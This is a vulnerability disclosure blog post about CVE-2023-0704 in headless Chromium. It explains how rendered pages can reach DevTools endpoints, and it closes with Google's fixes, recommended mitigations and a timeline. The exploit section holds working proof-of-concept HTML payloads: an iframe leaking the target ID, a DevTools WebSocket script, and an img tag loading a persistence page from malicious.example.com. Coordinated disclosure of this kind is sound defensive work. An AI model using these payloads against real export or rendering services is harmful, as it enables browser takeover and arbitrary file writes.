Security
Discovering Headroll (CVE-2023–0704) in Chromium
Discovery of Headless Chromium security vulnerability, how it works, and mitigations that should be applied to similar configurations
Canva is a comprehensive design tool that provides a large degree of flexibility for how people create designs and the array of contents they can embed in a design.
This rich client-side flexibility presents some challenges for functionality we need to provide from the server. For example, how can we generate thumbnails of a design on the server side? How can we support exporting a design to PDF or PNG? The answer to these questions is simple: we’ll just run a web browser on the server.
To convert a design from a rich web representation to PNG entirely on the server side, Canva loads the design into Headless Chromium(opens in a new tab or window) and requests a PNG export of the page.
In this blog post, we’ll walk through how we discovered a vulnerability in Chromium as part of an internal security review of the Canva export service. Affectionately we internally referred to this vulnerability as “Headroll”, given the impact on common applications of headless Chromium. As part of this process, we disclosed the vulnerability to the Chromium team and developed mitigations until an official patch could be implemented and released.
Due to other security controls we have in place, our services were unaffected by this vulnerability. By sharing knowledge of the vulnerability, we’re aiming to improve the security for consumers of Chromium who may be impacted due to similar configurations and use cases.
We recommend upgrading to Chromium 110.x or later, and there are additional fix alternatives in the Fixes section below.
Chromium Vulnerability
During a threat model of Canva’s export system, we identified a trust boundary between a Canva design and embedded external web pages. As a result of external web pages being embedded in a design, any JavaScript can be executed in Chromium. This JavaScript execution and interaction with web resources is expected, given we’re aiming to produce a screenshot of a rich web page to produce an export.
For fine-grained control of the export, the backend export system uses the Chromium DevTools Protocol(opens in a new tab or window) to issue commands to a headless Chromium instance over a long-lived WebSocket.
While investigating the trust relationship further, we discovered a vulnerability in Chromium that makes it possible for web pages loaded inside Chromium to directly issue DevTools commands to the browser. These commands allow a malicious webpage to fully take over Chromium by writing arbitrary files, bypassing CORS, and opening new tabs.
We worked with Google to address these weaknesses, with a fix landing in Chromium 110.x(opens in a new tab or window) and CVE-2023–0704(opens in a new tab or window) being issued. Special thanks to Google for matching the reward donation to Give Directly(opens in a new tab or window).
Research
To find sensitive resources (“sinks”) that malicious pages could access, we combined a source code review of the export system with a review of what ports Chromium listens on when launched headlessly. When we launched Chromium with the default Chrome Puppeteer(opens in a new tab or window) configuration, we found a random TCP port is opened by Chromium for listening
import puppeteer from 'puppeteer';(async () => {const browser = await puppeteer.launch();console.log(browser.wsEndpoint());const page = await browser.newPage();await page.goto('https://example.com');})();
and listing the ports with
$ lsof -iTCP -sTCP:LISTEN -n -PChromium 35141 zsims 20u IPv4 0x24a11b2afa4a23bd 0t0 TCP 127.0.0.1:55492 (LISTEN)
This raised a few immediate questions, including “what protocol is this?” and “what authentication is on this endpoint?” We started to dive deeper into the documentation(opens in a new tab or window) and to test the endpoints.
DevTools WebSocket Authentication
To prevent arbitrary clients from connecting to a Chromium debug port, Chromium employs the concept of an unguessable(opens in a new tab or window) target ID
token which the client must provide when connecting. This target ID
is generated for the browser at startup, and a separate target ID
is generated per frame tree (tab)(opens in a new tab or window).
Clients like Chrome Puppeteer(opens in a new tab or window) obtain the target ID
based on Chromium stdout messages.
$ chromium \--remote-debugging-port=0 \--user-data-dir=chrome-profile \--no-first-run \--headless \https://example.comDevTools listening on ws://127.0.0.1:55492/devtools/browser/b7b9cd7c-c420-4ade-85f1-3eab7272fa2d
Knowing the target ID
, you can then send commands over the WebSocket.
$ echo '{"id":1, "method":"Browser.getVersion"}' | websocat -n1 ws://127.0.0.1:55492/devtools/browser/b7b9cd7c-c420-4ade-85f1-3eab7272fa2d{"id":1,"result":{"protocolVersion":"1.3","product":"HeadlessChrome/109.0.5414.0","revision":"@4ef7c84d0bddc77eb66ac5e9663e5f6602a4bf7b","userAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.0 Safari/537.36","jsVersion":"10.9.194"}}$ echo '{"id":1, "method":"Browser.getVersion"}' | websocat -n1 ws://127.0.0.1:55492/devtools/browser/b7b9cd7c-c420-4ade-85f1-3eab7272fa2d
If you provide an invalid target ID
, the request is rejected.
$ echo '{"id":1, "method":"Browser.getVersion"}' | websocat -n1 ws://127.0.0.1:55492/devtools/browser/wrong-target-idwebsocat: WebSocketError: WebSocketError: Received unexpected status code (404 Not Found)websocat: error running
DevTools HTTP Endpoints
DevTools also exposes some HTTP endpoints(opens in a new tab or window), like /json/version
and /json/new
. Unlike the WebSocket endpoint, no target ID
or authentication is required.
For example, /json/version
lists browser version information, along with the WebSocket endpoint and the sensitive browser target ID
285956da-acb4-4251-ba54-affbadb4acdb
.
$ curl http://127.0.0.1:55492/json/version{"Browser": "HeadlessChrome/109.0.5414.0","Protocol-Version": "1.3","User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.0 Safari/537.36","V8-Version": "10.9.194","WebKit-Version": "537.36 (@4ef7c84d0bddc77eb66ac5e9663e5f6602a4bf7b)","webSocketDebuggerUrl": "ws://127.0.0.1:55492/devtools/browser/285956da-acb4-4251-ba54-affbadb4acdb"}
DevTools HTTP can also be used to open a new tab using a simple GET request to /json/new
.
$ curl 'http://127.0.0.1:55492/json/new?https://example.org'{"description": "","devtoolsFrontendUrl": "/devtools/inspector.html?ws=127.0.0.1:55492/devtools/page/92ECF95CAF8B0B7B69BD39BAD7284B9E","id": "92ECF95CAF8B0B7B69BD39BAD7284B9E","title": "","type": "page","url": "https://example.org/","webSocketDebuggerUrl": "ws://127.0.0.1:55492/devtools/page/92ECF95CAF8B0B7B69BD39BAD7284B9E"}
Exploit
Browser controls, like CORS(opens in a new tab or window), protect the output of endpoints like /json/version
so they can’t be read by a malicious page on another origin. However, because of the way we’re using Chromium to take screenshots of pages, CORS can be bypassed by embedding the /json/version
endpoint into the page and observing the result.
<html><body>My malicious page<br /><iframe src="http://localhost:55492/json/version" width="800" height="600"></iframe></body></html>
Which, when exported as a screenshot, results in the following.
With the target ID
known, the malicious page can connect to the WebSocket endpoint and issue debug commands. The output of these commands can be exfiltrated anywhere, but for brevity, this example puts them into the page.
<html><body>My malicious page<br /><div id="output"></div><script>const ws = new WebSocket('ws://localhost:55492/devtools/browser/285956da-acb4-4251-ba54-affbadb4acdb');ws.onerror = console.error;ws.onclose = console.log;ws.onmessage = ev => {document.getElementById('output').innerText = ev.data;}ws.onopen = () => {ws.send(JSON.stringify({ "id": 1, "method": "Browser.getVersion" }))}</script></body></html>
Working with Multiple Chromium Instances
Having to fire the exploit twice, once to get the target ID
and a second time to issue commands, is problematic because:
- Chromium might be started and stopped per job.
- There might be many instances of Chromium, with each job scheduled onto a different instance.
To get around this, the /json/new
endpoint can be used to launch a new page, persist.html
, and maintain persistence while the browser target ID
is obtained through the export.
<html><body>My malicious page<br /><iframe src="http://localhost:55492/json/version" width="800" height="600"></iframe><img src="http://localhost:55492/json/new?http://malicious.example.com/persist.html" /></body></html>
This persistent page allows for JavaScript execution while the browser target ID
is obtained out-of-band through a screenshot of the page.
Impact
Numerous commands can be issued to DevTools, and the impact of these commands varies, but from our investigation, they can:
- Bypass proxy settings that might be enforced on Chromium.
- Bypass CORS and read the contents of other web pages that might be open in the same browser using Target.getTargets(opens in a new tab or window).
- Launch new tabs without being subject to window.open restrictions in the
/json/new
API. - Write arbitrary files by calling Browser.setDownloadBehaviour(opens in a new tab or window) and downloading a file.
Fixes
After reporting the issue(opens in a new tab or window), Google quickly worked to implement fixes that landed in Chromium 110.x(opens in a new tab or window), including:
- Implement Content Security Policy to prevent
/json/...
endpoints from being loaded into a frame. - Reject any debug requests that contain an
Origin
header, that is, they came from a web browser. - Enforce usage of the
PUT
verb for/json/new
.
If you have a similar setup, we strongly recommend you do the following:
- Patch to Chrome 110.x (M110) or greater.
- Configure a Puppeteer workaround to use pipes instead of web sockets:
- Per https://pptr.dev/api/puppeteer.launchoptions.pipe(opens in a new tab or window)
puppeteer.launch({ pipe: true })
- Set up an HTTP proxy for Chromium and ensure loopback isn’t excluded:
--proxy-bypass-list="<-loopback>"
- Block localhost from Chromium by forwarding traffic to a non-listening port:
--proxy-server="127.0.0.1:1337" --proxy-bypass-list="*,<-loopback>"
Timeline
- November 28, 2022: Issue disclosed to the Chromium security team.
- December 21, 2022: Patch merged and issue marked fixed by Chromium.
- February 7, 2023: Chromium M110 released with fix(opens in a new tab or window).
- March 31, 2023: Chromium bug 1385982(opens in a new tab or window) made public.
Related Findings
While researching this vulnerability further, we found some related findings:
- Per Chromium Bug 813540(opens in a new tab or window) raised in 2018, DevTools previously suffered from DNS rebinding(opens in a new tab or window), which would allow any web page to interact with the DevTools HTTP endpoints by rebinding a domain to
127.0.0.1
. - Firefox supports part of the DevTools protocol, but their WebSocket implementation validates the origin(opens in a new tab or window) and host(opens in a new tab or window) header, so isn’t vulnerable to this type of attack.
Acknowledgements
Special thanks to the awesome Canva engineers Ben Day(opens in a new tab or window) and Paul Bogg(opens in a new tab or window), who work on the Canva export system, for your expertise and collaboration, as well as for applying timely mitigations while Chromium rolled out a patch. Thanks to Matt Hart(opens in a new tab or window) for helping drive coordinated disclosure and mitigation, Bec Trapani(opens in a new tab or window) for assisting with the initial rabbit hole of being able to obtain a target ID
, and Cameron Lonsdale(opens in a new tab or window) for investigating variations of this vulnerability and verifying how Firefox might be impacted. Lastly, thanks to the Google Security team for making it easy to collaborate on reporting and addressing these types of issues.
Interested in securing Canva systems? Join Us!(opens in a new tab or window)